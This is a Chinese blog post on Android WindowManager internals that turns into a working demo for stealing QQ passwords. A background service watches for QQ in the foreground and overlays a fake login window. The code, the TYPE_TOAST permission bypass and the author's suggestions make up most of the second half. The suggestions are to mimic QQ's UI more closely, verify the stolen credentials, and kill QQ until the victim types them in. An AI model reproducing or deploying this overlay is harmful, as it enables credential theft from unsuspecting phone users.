android WindowManager解析與騙取QQ密碼案例分析
最近在網上看見一個人在烏雲上提了一個漏洞,應用可以開啟一個後臺 Service,檢測當前頂部應用,如果為 QQ 或相關應用,就彈出一個自定義 window 用來誘騙使用者輸入賬號密碼,挺感興趣的,總結相關知識寫了一個 demo,介面如下(介面粗糙,應該沒人會上當吧,意思到了就行哈=, =):
demo 地址:https://github.com/zhaozepeng/GrabQQPWD
Window&&WindowManager介紹
分析demo之前,先要整理總結一下相關的知識。先看看 Window 類,Window 是一個抽象類,位於程式碼樹 frameworks/android/view/Window.java 檔案。連同註釋,這個檔案總共一千多行,它概括了 Android 視窗的基本屬性和基本功能。唯一實現了這個抽象類的是 PhoneWindow,例項化 PhoneWindow 需要一個視窗,只需要通過 WindowManager 即可完成,Window 類的具體實現位於 WindowManagerService中,WindowManager 和 WindowManagerService 的互動是一個 IPC 過程。Android 中的所有檢視都是通過 Window 來呈現的,不管是 Activity,Dialog 還是 Toast,他們的檢視實際上都是附加在 Window 上的,因此 Window 實際上是 View 的直接管理者,點選事件也是由 Window 傳遞給 view 的。WindowManager.LayoutParams.type 引數表示 window 的型別,共有三種類型,分別是應用 Window,子 Window 和系統 Window。應用 Window 對應著一個 Activity,類似 Dialog 之類的子 Window 不能單獨存在,他需要附屬在應用 Window 上才可以,系統 Window 則不需要,比如 Toast 之類,可以直接顯示。每個 Window 都有對應的 z-orderd,層級大的 Window 會覆蓋在層級小的 Window 之上,應用 Window 的層級範圍是 1~99,子 Window 的範圍是 1000~1999,系統 Window 的範圍是 2000~2999,這些層級範圍都對應著相關的 type,type 的相關取值:
再詳細分析一下 WindowManager,WindowManager 主要用來管理視窗的一些狀態、屬性、view 增加、刪除、更新、視窗順序、訊息收集和處理等。通過程式碼 Context.getSystemService(Context.WINDOW_SERVICE)可 以獲得 WindowManager 的例項。WindowManager 所提供的功能很簡單,常用的只有三個方法,即新增 View、更新 View 和刪除 View,這三個方法定義在
- addView();
- updateViewLayout();
- removeView();
private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()
將所有的操作全部交給 WindowManagerGlobal 來實現,後續的分析感興趣的可以看看我的部落格: java/android 設計模式學習筆記(8)—橋接模式。
View 是 Android 中檢視的呈現方式,但是 View 不能單獨存在,他必須要附著在 Window 這個抽象的概念上面,每一個 Window 都對應著一個 View 和一個 ViewRootImpl,Window 和 View 通過 ViewRootImpl 來建立聯絡,因此有檢視的地方就有 Window,比如常見的 Activity,Dialog,Toast 等,簡化的關係如下所示:
對於每個 activity 只有一個 decorView 也就是 ViewRoot,window 是通過下面方法獲取的
Window mWindow = PolicyManager.makeNewWindow(this);
建立完 Window 之後,activity 會為該 Window 設定回撥,Window 接收到外界狀態改變時就會回撥到 activity 中。在 activity 中會呼叫 setContentView() 函式,它是呼叫 window.setContentView() 完成的,而 Window 的具體實現是 PhoneWindow,所以最終的具體操作是在 PhoneWindow 中,PhoneWindow 的 setContentView 方法第一步會檢測 DecorView 是否存在,如果不存在,就會呼叫 generateDecor 函式直接建立一個 DecorView;第二步就是將 activity 的檢視新增到 DecorView 的 mContentParent 中;第三步是回撥 activity 中的 onContentChanged 方法通知 activity 檢視已經發生改變。這些步驟完成之後,DecorView 還沒有被 WindowManager 正式新增到 Window 中,最後呼叫 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成新增和現實過程,activity 的檢視才能被使用者看到。對 Activity 的啟動過程和 Window 的建立過程感興趣的可以看看我的這篇部落格android 不能在子執行緒中更新ui的討論和分析。
Dialog Window 的建立過程和 Activity 類似,第一步也是用 PolicyManager.makeNewWindow 方法來建立一個 Window,不過這裡傳入的 Context 必須要為 Activity 的context;第二步也是通過 setContentView 函式去設定 dialog 的佈局檢視;第三步呼叫 show 方法,通過 WindowManager 將 DecorView 新增到 Window 中顯示出來。
Toast 和 Dialog 不同,它稍微複雜一點,首先 Toast 也是基於 Window 來實現的,但是由於 Toast 具有定時取消的這一個功能,所以系統採用了 Handler。在 Toast 的內部有兩類 IPC 過程,第一類是 Toast 訪問 NotificationManagerService,第二類是 NotificationManagerService 回撥 Toast 裡的 TN 介面。在 Toast 類中,最重要的用於顯示該 toast 的 show 方法呼叫了 service.enqueueToast(pkg, tn, mDuration);也就是說系統為我們維持了一個 toast 佇列,這也是為什麼兩個 toast 不會同時顯示的原因,該方法將一個 toast 入隊,顯示則由系統維持顯示的時機。
private static INotificationManager sService;
static private INotificationManager getService() {
if (sService != null) {
return sService;
}
sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
return sService;
}
該服務 sService 就是系統用於維護 toast 的服務。最後 NMS 會通過 IPC 呼叫 Toast 類內部的一個靜態私有類 TN,該類是 toast 的主要實現,該類完成了 toast 檢視的建立,顯示和隱藏。
網上介紹 WindowManager 的部落格很多,都寫得很好的,要具體瞭解的可以結合看看原始碼:
相關資料太多了,感興趣的可以看看原始碼。
騙取QQ密碼例項
有了上面的基礎之後,這個例子其實就非常簡單了。
第一步編寫一個 Service 並且在 Service 中彈出一個自定義的 Window:
windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
@Override
public void backCallback() {
if (v!=null && v.isAttachedToWindow())
L.e("remove view ");
windowManager.removeViewImmediate(v);
}
});
btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
} else {
et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
0 : et_pwd.getText().length());
}
});
//useless
// v.setOnKeyListener(new View.OnKeyListener() {
// @Override
// public boolean onKey(View v, int keyCode, KeyEvent event) {
// Log.e("zhao", keyCode+"");
// if (keyCode == KeyEvent.KEYCODE_BACK) {
// windowManager.removeViewImmediate(v);
// return true;
// }
// return false;
// }
// });
//點選外部消失
v.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View view, MotionEvent event) {
Rect temp = new Rect();
view.getGlobalVisibleRect(temp);
L.e("remove view ");
if (temp.contains((int)(event.getX()), (int)(event.getY()))){
windowManager.removeViewImmediate(v);
return true;
}
return false;
}
});
btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);
這裡有幾點需要說明一下,
- 第一個是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是可以繞過許可權的,這個是在知乎上看見有人說的一個漏洞,哈哈,但是因為在這個 Window 中有 edittext 控制元件,如果設定為 toast,軟鍵盤是沒法把佈局頂上去的,只有 TYPE_SYSTEM_ERROR 可以將佈局頂上去,如果想用 toast 繞過許可權,佈局就得自己精心去設計了;
- 第二個是因為有 Edittext,所以 softInputMode 需要設定為 SOFT_INPUT_ADJUST_PAN,要不然軟鍵盤會覆蓋 Window;
- 第三個是返回鍵的監聽,setOnKeyListener 是不好用的,最後只能複寫 View 類的 dispatchKeyEvent 函式來實現按鍵監聽了;
- 第四個是點選外部消失的操作,看程式碼就會明白了;
- 第五個,獲取頂部應用的許可權問題,在這裡非常感謝 @android_jiajia 朋友,提醒了一下,在 5.0 之前,5.0~5.1.1,5.1.1 之後獲取頂部應用的方式其實是不一樣的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特別要說明的是 LM 版本之後如果要去獲取頂部應用使用的 getAppTasks 方法時需要使用者手動去開啟許可權的,但是這不就暴露了麼,剛開始找到了一個 github 庫去解決 https://github.com/jaredrummler/AndroidProcesses,因為 android 底層還是linux核心,所以 /proc 的系統目錄下會有程序的相關資訊,原理就是基於此,但是最後依舊獲取不到頂部的應用T__T,最後沒辦法了,只能夠使用動態申請許可權的方案了 PACKAGE_USAGE_STATS。
- 第六個是在 6.0 的系統上,單單 Manifest 靜態註冊是不管用的,直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是會直接崩潰,具體可以看看我的這篇部落格 android permission許可權與安全機制解析(下),這個我在程式碼中也做好了適配。不過好訊息是使用第一條我介紹的 TYPE_TOAST 依舊是可以繞過許可權的,軟鍵盤覆蓋問題其實可以把佈局挪上去就可以了T__T。
實現了彈出框的彈出之後,接著就要設定一個實時監聽,開啟一個執行緒,每隔幾秒去監聽使用者正在操作的應用是否是 QQ,這個就簡單多了,使用 ActivityManager 就可以了:
new Thread(new Runnable() {
@Override
public void run() {
while (isRunning){
L.e("running");
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
if (isAppForground("com.tencent.mobileqq")){
myHandler.sendEmptyMessage(1);
}
}
}
}).start();
獲取頂部應用適配方法
private boolean isAppForeground(String appName){
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
return appName.equals(getTopActivityBeforeL());
}else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
return appName.equals(getTopActivityAfterLM());
}else{
return appName.equals(getTopActivityBeforeLMAfterL());
}
}
//5.0之前可以使用getRunningAppProcesses()函式獲取
private String getTopActivityBeforeL(){
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
return taskInfo.get(0).processName;
}
//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之後使用
private String getTopActivityBeforeLMAfterL() {
final int PROCESS_STATE_TOP = 2;
Field field = null;
ActivityManager.RunningAppProcessInfo currentInfo = null;
try {
field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
} catch (Exception ignored) {
}
ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
&& processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
Integer state = null;
try {
state = field.getInt(processInfo);
} catch (Exception e) {
}
if (state != null && state == PROCESS_STATE_TOP) {
currentInfo = processInfo;
break;
}
}
}
return currentInfo!=null ? currentInfo.processName : null;
}
//注:6.0之後此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
// private String getTopActivityAfterLM(){
// ActivityManager.RunningAppProcessInfo topActivity =
// ProcessManager.getRunningAppProcessInfo(this).get(0);
// return topActivity.processName;
// }
@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
try {
UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
long milliSecs = 60 * 1000;
Date date = new Date();
List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
if (queryUsageStats.size() <= 0) {
return null;
}
long recentTime = 0;
String recentPkg = "";
for (int i = 0; i < queryUsageStats.size(); i++) {
UsageStats stats = queryUsageStats.get(i);
if (stats.getLastTimeStamp() > recentTime) {
recentTime = stats.getLastTimeStamp();
recentPkg = stats.getPackageName();
}
}
return recentPkg;
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
PS:小米手機的 ROM 官方禁止了這些行為,不管是 getRunningAppProcesses,getRunningTasks,和 ProcessManager 都只能返回自己和系統應用的列表,怎麼搞?
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新,不光這樣,在最新版本的小米 ROM 中,Manifest 檔案中申請了
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
許可權,使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 還是無法彈出 Window,小米 ROM 需要特殊處理一下,具體的可以看看我的一個開源專案:Android 懸浮窗許可權各機型各系統適配大全,大家感興趣的可以參與進來。
這樣效果就差不多了,最後在Activity中啟動該Service即可,當然這個還有很多改進的餘地:
1. 修改 UI,使之更加的和 QQ 風格相似。
2. 使用者輸入完賬號和密碼之後,可以 addView 一個 loadingDialog,接著呼叫相關介面去驗證使用者名稱和密碼的正確性,不正確提示使用者重新輸入。
3. 如果使用者不輸入賬號和密碼,直接呼叫 killBackgrondProcess 函式(需要許可權),強硬的把 QQ 關閉,直到使用者輸入賬號和密碼。
當然了,這只是學習知識而已,大家開心就好啊  ̄ˍ ̄。